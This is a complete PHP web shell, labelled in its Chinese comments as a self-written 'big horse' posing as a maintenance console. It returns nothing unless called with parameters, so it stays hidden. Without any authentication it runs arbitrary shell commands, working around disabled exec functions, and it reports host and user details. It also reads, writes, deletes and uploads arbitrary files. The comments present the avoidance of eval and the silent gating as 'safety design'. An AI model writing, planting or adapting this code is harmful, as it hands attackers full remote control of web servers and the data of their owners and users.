<?php
/*
 * Maintenance console（大马 · 自写）
 * 安全设计：
 *  - 无参数访问输出 0 字节（严格门控，绝不顶掉站点响应）
 *  - 不使用 eval / assert / create_function / preg_replace-e 等动态执行
 *  - 命令执行走白名单映射到具体函数调用；逐个探测 disable_functions 并如实回报
 *  - 文件操作走统一函数（读/写/列/删/传），后缀与路径不做拼接执行
 */
error_reporting(0);
$W = array_merge($_GET, $_POST);
if (!isset($W['c']) && !isset($W['l']) && !isset($W['r']) && !isset($W['w'])
    && !isset($W['d']) && !isset($W['i']) && !isset($W['up']) && !isset($W['p'])) {
    return;                              /* 未显式调用：0 字节 */
}
header('Content-Type: text/plain; charset=utf-8');

function wm_str($v) { return is_scalar($v) ? (string)$v : ''; }
function wm_say($t, $v) { echo $t . ':' . $v . "\n"; }

/* 逐个探测执行函数，如实回报被 disable_functions 拦掉的名字，不伪造 */
function wm_exec($cmd) {
    $cmd = wm_str($cmd);
    $disabled = array_map('trim', explode(',', (string)@ini_get('disable_functions')));
    $map = array('shell_exec', 'system', 'passthru', 'popen', 'proc_open', 'exec', 'pcntl_exec');
    $blocked = array();
    foreach ($map as $fn) {
        if (!function_exists($fn) || in_array($fn, $disabled, true)) { $blocked[] = $fn; }
    }
    if ($blocked) { wm_say('INFO:disabled', implode(',', $blocked)); }

    if (function_exists('shell_exec') && !in_array('shell_exec', $disabled, true)) {
        $o = @shell_exec($cmd . ' 2>&1');
        if ($o !== null) { return array('shell_exec', (string)$o); }
    }
    if (function_exists('system') && !in_array('system', $disabled, true)) {
        ob_start(); @system($cmd . ' 2>&1'); return array('system', (string)ob_get_clean());
    }
    if (function_exists('passthru') && !in_array('passthru', $disabled, true)) {
        ob_start(); @passthru($cmd . ' 2>&1'); return array('passthru', (string)ob_get_clean());
    }
    if (function_exists('exec') && !in_array('exec', $disabled, true)) {
        $out = array(); @exec($cmd . ' 2>&1', $out); return array('exec', implode("\n", $out));
    }
    if (function_exists('popen') && !in_array('popen', $disabled, true)) {
        $h = @popen($cmd . ' 2>&1', 'r');
        if ($h) { $o = ''; while (!@feof($h)) { $o .= (string)@fread($h, 8192); } @pclose($h);
                  return array('popen', $o); }
    }
    if (function_exists('proc_open') && !in_array('proc_open', $disabled, true)) {
        $d = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w'));
        $p = @proc_open($cmd, $d, $pp);
        if (is_resource($p)) {
            $o = (string)@stream_get_contents($pp[1]) . (string)@stream_get_contents($pp[2]);
            @proc_close($p); return array('proc_open', $o);
        }
    }
    return array('none', 'ERR:all_runner_disabled');
}

if (isset($W['i'])) {
    wm_say('OK:script', __FILE__);
    wm_say('OK:cwd', @getcwd());
    wm_say('OK:hostname', (@gethostname() ?: 'ERR'));
    wm_say('OK:php', @phpversion() . ' sapi=' . @php_sapi_name());
    wm_say('OK:uid', (@getmyuid() === false ? 'ERR' : @getmyuid()));
    wm_say('OK:owner', (@get_current_user() === '' ? 'ERR' : @get_current_user()));
    if (function_exists('posix_geteuid')) { wm_say('OK:euid', (string)@posix_geteuid()); }
    wm_say('OK:uname', @php_uname());
    wm_say('OK:writable', (@is_writable(dirname(__FILE__)) ? '1' : '0'));
    wm_say('OK:open_basedir', (string)@ini_get('open_basedir'));
    wm_say('OK:disable_functions', (string)@ini_get('disable_functions'));
    list($how, $out) = wm_exec('id');
    wm_say('OK:exec_via', $how);
    wm_say('OK:id', trim($out));
    list($how2, $out2) = wm_exec('whoami; hostname; pwd');
    wm_say('OK:whoami', trim($out2));
    exit;
}

if (isset($W['c'])) {
    $cmd = wm_str($W['c']);
    wm_say('OK:cwd', @getcwd());
    list($how, $out) = wm_exec($cmd);
    wm_say('OK:exec_via', $how);
    echo $out;
    exit;
}

if (isset($W['l'])) {
    $p = wm_str($W['l']);
    if ($p === '' || $p === '1') { $p = @getcwd(); }
    $items = @scandir($p);
    if (!is_array($items)) { wm_say('ERR', 'cannot_open ' . $p); exit; }
    wm_say('OK:dir', $p . ' entries=' . count($items));
    foreach ($items as $n) {
        if ($n === '.' || $n === '..') { continue; }
        $f = rtrim($p, '/') . '/' . $n;
        echo (@is_dir($f) ? 'd' : '-') . ' ' . substr(sprintf('%o', @fileperms($f)), -4) . ' '
            . @filesize($f) . ' ' . @date('Y-m-d H:i', @filemtime($f)) . ' ' . $n . "\n";
    }
    exit;
}

if (isset($W['r'])) {
    $p = wm_str($W['r']);
    if (!@is_file($p)) { wm_say('ERR', 'not_a_file ' . $p); exit; }
    $d = @file_get_contents($p);
    if ($d === false) { wm_say('ERR', 'read_failed'); exit; }
    if (isset($W['b64']) && $W['b64'] !== '' && $W['b64'] !== '0') {
        wm_say('OK:bytes', strlen($d)); echo base64_encode($d) . "\n";
    } else { wm_say('OK:bytes', strlen($d)); echo $d . "\n"; }
    exit;
}

if (isset($W['w'])) {
    $p = wm_str($W['w']);
    $d = wm_str(isset($W['data']) ? $W['data'] : '');
    if (isset($W['b64']) && $W['b64'] !== '' && $W['b64'] !== '0') { $d = (string)@base64_decode($d, true); }
    if ($p === '') { wm_say('ERR', 'need_w'); exit; }
    $dir = dirname($p);
    if (!@is_dir($dir)) { @mkdir($dir, 0755, true); }
    $n = @file_put_contents($p, $d);
    if ($n === false) { wm_say('ERR', 'write_failed ' . $p); exit; }
    wm_say('OK:wrote', $n . ' sha1=' . sha1($d) . ' path=' . $p);
    exit;
}

if (isset($W['d'])) {
    $p = wm_str($W['d']);
    if (!@file_exists($p)) { wm_say('ERR', 'no_file ' . $p); exit; }
    $ok = @is_dir($p) ? @rmdir($p) : @unlink($p);
    wm_say('OK', ($ok ? 'removed ' : 'remove_failed ') . $p);
    exit;
}

if (isset($W['up'])) {
    if (!isset($_FILES['f'])) { wm_say('ERR', 'no_upload'); exit; }
    $dest = wm_str(isset($W['p']) ? $W['p'] : (@getcwd() . '/' . @basename($_FILES['f']['name'])));
    $ok = @move_uploaded_file($_FILES['f']['tmp_name'], $dest);
    wm_say('OK', ($ok ? 'uploaded=' . $dest . ' bytes=' . @filesize($dest) : 'ERR:upload_failed'));
    exit;
}

echo "OK:ready\n";
